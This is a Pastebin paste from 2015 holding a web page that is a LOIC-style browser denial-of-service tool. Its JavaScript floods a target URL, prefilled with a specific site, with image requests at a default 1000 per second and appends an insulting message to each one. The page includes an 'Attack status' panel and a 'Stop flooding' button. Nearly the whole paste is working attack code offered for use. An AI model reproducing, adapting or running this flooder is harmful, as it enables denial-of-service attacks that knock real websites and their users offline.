Advertisement
joob

target one loic bending

Aug 23rd, 2015
407
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.99 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>attaqueur de patente fais pour gogosser</title>
  4. <!-- <link rel="shortcut icon" type="image/x-icon" href="http://4.bp.blogspot.com/--QXjvuhNgHY/VWXBZZUkG8I/AAAAAAAABDA/yicvTmOlUfM/s1600/cicada-3301_1432643366_725x725.jpg" /> -->
  5. </head>
  6. <center><h1>attaqueur de patente fais pour gogosser</h1></center>
  7. <body style="background-color:black; color:#FFFFFF;">
  8. <div style="position:absolute; width:100%; height:100%;">
  9. <div style="width:490px; height:326px; position:absolute;">
  10. <img alt="LOIC"src="http://4.bp.blogspot.com/--QXjvuhNgHY/VWXBZZUkG8I/AAAAAAAABDA/yicvTmOlUfM/s1600/cicada-3301_1432643366_725x725.jpg" />
  11. </div>
  12.  
  13. <div style="width:240px; height:100px; position:absolute;left:500px;">
  14. <fieldset style="width:100%; height:100%;">
  15. <legend>Step 1. Select your target:</legend>
  16. <label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://v3r.net/" /></label> <!-- disabled="true" -->
  17. <small>Ex : http://canada.ca</small>
  18. </fieldset>
  19. </div>
  20. <div style="width:240px; height:100px; position:absolute; left:780px;">
  21. <fieldset style="width:100%; height:100%;">
  22. <legend>Step 2.ready for the mindtrip?</legend>
  23.  
  24. <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
  25. </fieldset>
  26. </div>
  27.  
  28. <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
  29. <fieldset style="width:100%; height:100%;">
  30. <legend>Optional. Options</legend>
  31. <label>Requests per second : <input style="width:40px;" id="rps" value="1000" /></label><br />
  32.  
  33. <label>Append message : <br /><input style="width:100%;" id="message" value="Fuck you ripoux from aerith3301" /></label>
  34. </fieldset>
  35. </div>
  36.  
  37. <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
  38. <fieldset style="width:100%; height:100%;">
  39. <legend>Attack status:</legend>
  40. <dl>
  41. <dt>Requested:</dt>
  42. <dd id="requestedCtr">0</dd>
  43. <dt style="opacity: 0.5; color: green;">Request OK :</dt>
  44. <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  45. <dt style="opacity: 0.5; color: red;">Request failed :</dt>
  46. <dd style="opacity: 0.5" id="failedCtr">0</dd>
  47. </dl>
  48. </fieldset>
  49. </div>
  50. </div>
  51. <script>
  52. (function () {
  53. var fireInterval;
  54. var isFiring = false;
  55. var requestedCtrNode = document.getElementById("requestedCtr"),
  56. succeededCtrNode = document.getElementById("succeededCtr"),
  57. failedCtrNode = document.getElementById("failedCtr"),
  58. targetURLNode = document.getElementById("targetURL"),
  59. fireButton = document.getElementById("fireButton"),
  60. messageNode = document.getElementById("message"),
  61. rpsNode = document.getElementById("rps"),
  62. timeoutNode = document.getElementById("timeout");
  63. var targetURL = targetURLNode.value;
  64. targetURLNode.onchange = function () {
  65. targetURL = this.value;
  66. };
  67. var requestsHT = {}; // requests hash table, may come in handy later
  68. var requestedCtr = 0,
  69. succeededCtr = 0,
  70. failedCtr = 0;
  71. var makeHttpRequest = function () {
  72. if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  73. return;
  74. };
  75.  
  76. var rID =Number(new Date());
  77. var img = new Image();
  78. img.onerror = function () { onFail(rID); };
  79. img.onabort = function () { onFail(rID); };
  80. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  81.  
  82. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  83. requestsHT[rID] = img;
  84. onRequest(rID);
  85. };
  86.  
  87. var onRequest = function (rID) {
  88. requestedCtr++;
  89. requestedCtrNode.innerHTML = requestedCtr;
  90. };
  91.  
  92. var onComplete = function (rID) {
  93. delete requestsHT[rID];
  94. };
  95.  
  96. var onFail = function (rID) {
  97. // failedCtr++;
  98. //failedCtrNode.innerHTML = failedCtr;
  99.  
  100. succeededCtr++; //Seems like the url will always fail it it isn't an image
  101. succeededCtrNode.innerHTML = succeededCtr;
  102. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  103. };
  104.  
  105. var onSuccess = function (rID) {
  106. succeededCtr++;
  107. succeededCtrNode.innerHTML = succeededCtr;
  108. delete requestsHT[rID];
  109. };
  110.  
  111. fireButton.onclick = function () {
  112. if (isFiring) {
  113. clearInterval(fireInterval);
  114. isFiring = false;
  115. this.innerHTML = "START";
  116. } else {
  117. isFiring = true;
  118. this.innerHTML = "Stop flooding";
  119.  
  120. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  121. }
  122. };
  123.  
  124. })();
  125.  
  126. isFiring = true;
  127. document.getElementById("fireButton").innerHTML = "Stop flooding";
  128. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
  129. </script>
  130. </body>
  131. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement